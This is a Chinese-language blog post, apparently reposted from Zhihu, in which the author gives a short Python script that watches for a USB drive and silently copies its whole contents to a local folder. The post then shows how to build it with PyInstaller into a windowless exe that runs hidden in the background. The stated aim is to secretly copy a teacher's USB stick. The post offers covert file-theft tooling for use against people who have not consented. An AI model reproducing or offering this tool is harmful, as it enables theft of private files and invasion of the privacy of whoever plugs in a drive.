前言
上大學的時候有老師不給上課的PPT,就總想有個程式能偷偷複製老師的隨身碟。。。。一直沒有去實現,最近不想看論文,就想起來這個事情了,發現其實用幾行python程式碼就能搞定了。分兩步,首先寫出來python程式碼,其次把.py檔案轉換成exe檔案,直接在windows電腦上後臺執行。
程式碼
# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
# 隨身碟的碟符
usb_path = "E:/"
# 要複製到的路徑
save_path = "D:/haha"
while (True):
if os.path.exists(usb_path):
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
break
else:
time.sleep(10)
上面就是所有的程式碼,程式碼有兩個地方要改成你自己的路徑,我在程式碼裡註釋了
-
usb_path就是隨身碟的碟符,比如你的電腦有C,D盤,那麼隨身碟插上來以後路徑就是E盤
-
save_path就是你要把複製的檔案儲存在哪裡
Python檔案打包成exe
1. 在命令列用pip安裝 pyinstaller包
pip install pyinstaller
2.下載安裝pyinstaler執行時所需要的windows擴充套件pywin32
mhammond/pywin32
選擇最新版的下載,註意要選擇對應的python版本(version)和python位數(bittedness)
透過在命令列輸入python檢視python版本和位數
如下所示為python3.6的32位,需要下載[pywin32-223.win32-py3.6.exe]
Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32
如下所示為python3.6的64位,需要下載[pywin32-223.win-amd64-py3.6.exe]
Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32
3.在命令列中直接輸入下麵的指令即可
pyinstaller [opts] yourprogram.py
引數含義
-F 指定打包後只生成一個exe格式的檔案(建議寫上這個引數)
-D –onedir 建立一個目錄,包含exe檔案,但會依賴很多檔案(預設選項)
-c –console, –nowindowed 使用控制檯,無介面(預設)
-w –windowed, –noconsole 使用視窗,無控制檯
-p 新增搜尋路徑,讓其找到對應的庫。
-i 改變生成程式的icon圖示(比如給女朋友寫的程式,換個好看的圖示,預設的很醜)
實體說明
比如你有個python程式叫test.py
,絕對路徑在[D:\project]
,打包成一個exe格式的檔案
pyinstaller -F D:\project\test.py
條件同上,如果還希望沒有控制檯的黑框框,在行程中偷偷執行
pyinstaller -F -w D:\project\test.py
條件同上,如果還希望更換程式圖示
pyinstaller -F -w -i D:\project\test.ico D:\project\test.py
執行程式
最後雙擊開啟生成的exe檔案,你看不到介面,但是可以在任務管理器的後臺行程中找到,當有隨身碟插入,就會自動複製到你設定的地址,然後行程就會自動關閉。
作者:王先生
源自:https://zhuanlan.zhihu.com/p/38673066